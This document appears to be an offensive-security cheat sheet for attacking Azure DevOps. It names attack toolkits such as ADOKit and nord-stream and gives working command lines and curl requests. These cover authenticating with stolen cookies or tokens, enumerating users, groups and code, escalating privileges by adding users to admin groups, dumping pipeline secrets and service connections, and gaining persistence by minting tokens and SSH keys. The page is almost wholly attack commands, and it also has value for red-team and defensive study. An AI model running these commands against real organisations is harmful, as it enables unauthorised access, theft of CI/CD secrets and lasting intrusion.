Azure Services - Azure DevOps
contents
xforcered/ADOKit - Azure DevOps Services Attack Toolkit
zolderio/devops - Azure DevOps Access Testing Scripts
synacktiv/nord-stream - Nord Stream is a tool that allows you to extract secrets stored inside CI/CD environments by deploying malicious pipelines. It currently supports Azure DevOps, GitHub and GitLab.
# List all secrets from all projects$ nord-stream.py devops --token "$PAT" --org myorg --list-secrets# Dump all secrets from all projects$ nord-stream.py devops --token "$PAT" --org myorg
Authentication#
You can access an organization’s Azure DevOps Services instance via <https://dev.azure.com/{yourorganization}>.
Username and Password
Authentication Cookie
UserAuthentication:ADOKit.exe whoami /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganizationPersonal Access Token (PAT):
ADOKit.exe whoami /credential:patToken /url:https://dev.azure.com/YourOrganizationPAT="XXXXXXXXXXX"organization="YOURORGANIZATION"curl -u :${PAT} https://dev.azure.com/${organization}/_apis/build-release/buildsAccess Token with FOCI (MS Authenticator)
roadtx auth --device-code -c 4813382a-8fa7-425e-ab75-3b753aab3abbroadtx refreshtokento -c 1950a258-227b-4e31-a9cf-717495945fc2 -r 499b84ac-1321-427f-aa17-267ca6975798/.defaultpython main.py --token $(jq -r '.accessToken' .roadtools_auth) repositories
Recon#
Search files:
file:FileNameToSearch,file:Test* OR file:azure-pipelines*curl -i -s -k -X $'GET'-H $'Content-Type: application/json'-H $'User-Agent: SOME_USER_AGENT'-H $'Authorization: Basic BASE64ENCODEDPAT'-H $'Host: dev.azure.com'$'https://dev.azure.com/YOURORGANIZATION/PROJECTNAME/_apis/git/repositories/REPOSITORYID/items?recursionLevel=Full&api-version=7.0'Search code:
ADOKit.exe searchcode /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"search term"curl -i -s -k -X $'POST'-H $'Content-Type: application/json'-H $'User-Agent: SOME_USER_AGENT'-H $'Authorization: Basic BASE64ENCODEDPAT'-H $'Host: almsearch.dev.azure.com'-H $'Content-Length: 85'-H $'Expect: 100-continue'-H $'Connection: close'--data-binary $'{\"searchText\": \"SEARCHTERM\", \"skipResults\":0,\"takeResults\":1000,\"isInstantSearch\":true}' $'https://almsearch.dev.azure.com/YOURORGANIZATION/_apis/search/codeAdvancedQueryResults?api-version=7.0-preview'Enumerate users
curl -i -s -k -X $'GET'-H $'Content-Type: application/json'-H $'User-Agent: SOME_USER_AGENT'-H $'Authorization: Basic BASE64ENCODEDPAT'-H $'Host: dev.azure.com'$'https://dev.azure.com/YOURORGANIZATION/_apis/graph/users?api-version=7.0'Enumerate groups:
ADOKit.exe getgroupmembers /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /group:"search term"curl -i -s -k -X $'GET'-H $'Content-Type: application/json'-H $'User-Agent: SOME_USER_AGENT'-H $'Authorization: Basic BASE64ENCODEDPAT'-H $'Host: dev.azure.com'$'https://dev.azure.com/YOURORGANIZATION/_apis/graph/groups?api-version=7.0'Enumerate project permissions:
ADOKit.exe getpermissions /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /project:"project name"Get the user profile of the user from access_token: <https://app.vssps.visualstudio.com/_apis/profile/profiles/me?api-version=7.1>
Get the organizations that user belongs to: <https://app.vssps.visualstudio.com/_apis/accounts?memberId={UserID}?api-version=7.1>
Get the repositories inside of that organization: <https://dev.azure.com/{org_name}/_apis/projects?api-version=7.1>
Privilege Escalation#
Adding User to Group:
ADOKit.exe addcollectionbuildadmin /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /user:"username"curl -i -s -k -X $'PUT'-H $'Content-Type: application/json'-H $'User-Agent: Some User Agent'-H $'Authorization: Basic base64EncodedPAT'-H $'Host: vssps.dev.azure.com'-H $'Content-Length: 0'$'https://vssps.dev.azure.com/YourOrganization/_apis/graph/memberships/userDescriptor/groupDescriptor?api-version=7.0-preview.1'Retrieve build variables and secrets:
ADOKit.exe getpipelinevars /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /project:"project name",ADOKit.exe getpipelinesecrets /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /project:"project name"curl -i -s -k -X $'GET'-H $'Content-Type: application/json'-H $'User-Agent: Some User Agent'-H $'Authorization: Basic base64EncodedPAT'-H $'Host: dev.azure.com'$'https://dev.azure.com/YourOrganization/ProjectName/_apis/build/Definitions/DefinitionIDNumber?api-version=7.0'Retrieve Service Connection Information:
ADOKit.exe getserviceconnections /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /project:"project name"curl -i -s -k -X $'GET'-H $'Content-Type: application/json;api-version=5.0-preview.1'-H $'User-Agent: Some User Agent'-H $'Authorization: Basic base64EncodedPAT'-H $'Host: dev.azure.com'$'https://dev.azure.com/YourOrganization/YourProject/_apis/serviceendpoint/endpoints?api-version=7.0'
Persistence#
Create a PAT:
ADOKit.exe createpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganizationcurl -i -s -k -X $'POST'-H $'Content-Type: application/json'-H $'Accept: application/json;api-version=5.0-preview.1'-H $'User-Agent: Some User Agent'-H $'Host: dev.azure.com'-H $'Content-Length: 234'-H $'Expect: 100-continue'-b $'X-VSS-UseRequestRouting=True; UserAuthentication=stolenCookie'--data-binary $'{\"contributionIds\":[\"ms.vss-token-web.personal-accesstoken-issue-session-tokenprovider\"],\"dataProviderContext\":{\"properties\":{\"displayName\":\"PATName\",\"validTo\":\"YYYY-MMDDT00:00:00.000Z\",\"scope\":\"app_token\",\"targetAccounts\":[]}}}}}'$'https://dev.azure.com/YourOrganization/_apis/Contribution/HierarchyQuery'Create SSH Keys:
ADOKit.exe createsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /sshkey:"ssh pub key"curl -i -s -k -X $'POST'-H $'Content-Type: application/json'-H $'Accept: application/json;api-version=5.0-preview.1'-H $'User-Agent: Some User Agent'-H $'Host: dev.azure.com'-H $'Content-Length: 856'-H $'Expect: 100-continue'-b $'X-VSS-UseRequestRouting=True; UserAuthentication=stolenCookie'--data-binary $'{\"contributionIds\":[\"ms.vss-token-web.personal-accesstoken-issue-session-tokenprovider\"],\"dataProviderContext\":{\"properties\":{\"displayName\":\"SSHKeyName\",\"publicData\":\"public SSH key content\",\"validTo\":\"YYYY-MMDDT00:00:00.000Z\",\"scope\":\"app_token\",\"isPublic\":true,\"targetAccounts\":[\"organizationID\"]}}}}}'$'https://dev.azure.com/YourOrganization/_apis/Contribution/HierarchyQuery'